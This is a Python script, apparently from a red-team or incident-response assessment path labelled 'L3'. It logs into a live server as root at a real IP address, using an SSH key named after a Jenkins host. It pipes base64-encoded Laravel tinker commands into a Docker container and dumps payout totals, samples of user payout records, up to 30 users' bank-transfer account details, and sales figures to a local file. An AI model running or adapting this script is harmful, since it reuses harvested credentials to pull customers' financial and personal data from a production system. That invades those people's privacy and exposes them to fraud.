#!/usr/bin/env python3
"""Financial level — part 2: payout sums, bank accounts, negative balances."""
import subprocess, base64, sys

HOST = "root@46.101.74.150"
KEY = "/root/ir-assessment/redteam/yajny/L3/ssh_keys/jenkins-host-id_rsa.pem"
CONTAINER = "yajny-api"

QUERIES = [
    'echo "===USER-PAYOUTS-STRUCTURE===";',
    '$c = DB::select("DESCRIBE user_payouts"); foreach($c as $col) { echo $col->Field."|".$col->Type."\n"; }',
    'echo "===USER-PAYOUTS-SUMS===";',
    '$up = DB::select("SELECT COUNT(*) as cnt, SUM(amount) as total, MIN(amount) as min_amt, MAX(amount) as max_amt, AVG(amount) as avg_amt FROM user_payouts")[0];',
    'echo "user_payouts_count: ".$up->cnt."\n";',
    'echo "user_payouts_total_amount: ".$up->total."\n";',
    'echo "user_payouts_min: ".$up->min_amt."\n";',
    'echo "user_payouts_max: ".$up->max_amt."\n";',
    'echo "user_payouts_avg: ".$up->avg_amt."\n";',
    'echo "===USER-PAYOUTS-SAMPLE-30===";',
    '$up2 = DB::select("SELECT * FROM user_payouts ORDER BY id DESC LIMIT 30");',
    'foreach($up2 as $r) { echo json_encode($r)."\n"; }',
    'echo "===NEGATIVE-USER-BALANCES-STRUCTURE===";',
    '$c = DB::select("DESCRIBE negative_user_balances"); foreach($c as $col) { echo $col->Field."|".$col->Type."\n"; }',
    'echo "===NEGATIVE-BALANCES-SUMS===";',
    '$nb = DB::select("SELECT COUNT(*) as cnt FROM negative_user_balances")[0];',
    'echo "negative_balances_count: ".$nb->cnt."\n";',
    'echo "===PAYOUT-METHODS-BY-TYPE===";',
    '$pmt = DB::select("SELECT method_code, COUNT(*) as cnt FROM user_payout_methods WHERE deleted_at IS NULL GROUP BY method_code");',
    'foreach($pmt as $r) { echo $r->method_code.": ".$r->cnt."\n"; }',
    'echo "===BANK-TRANSFER-PAYOUT-METHODS-SAMPLE-30===";',
    '$bt = DB::select("SELECT user_id, name, account, payout_data FROM user_payout_methods WHERE method_code = \"bank-transfer\" AND deleted_at IS NULL LIMIT 30");',
    'foreach($bt as $r) { echo json_encode($r)."\n"; }',
    'echo "===SALES-SUMS===";',
    '$ss = DB::select("SELECT COUNT(*) as cnt, SUM(order_amount) as total_order, SUM(comission) as total_commission, SUM(local_order_amount) as total_local FROM sales")[0];',
    'echo "sales_count: ".$ss->cnt."\n";',
    'echo "sales_total_order_amount: ".$ss->total_order."\n";',
    'echo "sales_total_comission: ".$ss->total_commission."\n";',
    'echo "sales_total_local_amount: ".$ss->total_local."\n";',
    'echo "===SALES-BY-STATUS===";',
    '$sb = DB::select("SELECT status, COUNT(*) as cnt FROM sales GROUP BY status");',
    'foreach($sb as $r) { echo $r->status.": ".$r->cnt."\n"; }',
    'echo "===DONE===";',
    'exit;',
]

def run_tinker(queries):
    code = "\n".join(queries)
    b64 = base64.b64encode(code.encode()).decode()
    cmd = [
        "ssh", "-i", KEY, "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=accept-new",
        HOST,
        f'echo {b64} | base64 -d | docker exec -i {CONTAINER} php /var/www/html/artisan tinker 2>&1'
    ]
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=180)
    return r.stdout, r.stderr, r.returncode

if __name__ == "__main__":
    out, err, rc = run_tinker(QUERIES)
    print(out)
    with open("/root/ir-assessment/redteam/yajny/L3/financial_assessment_2.txt", "w") as f:
        f.write(out)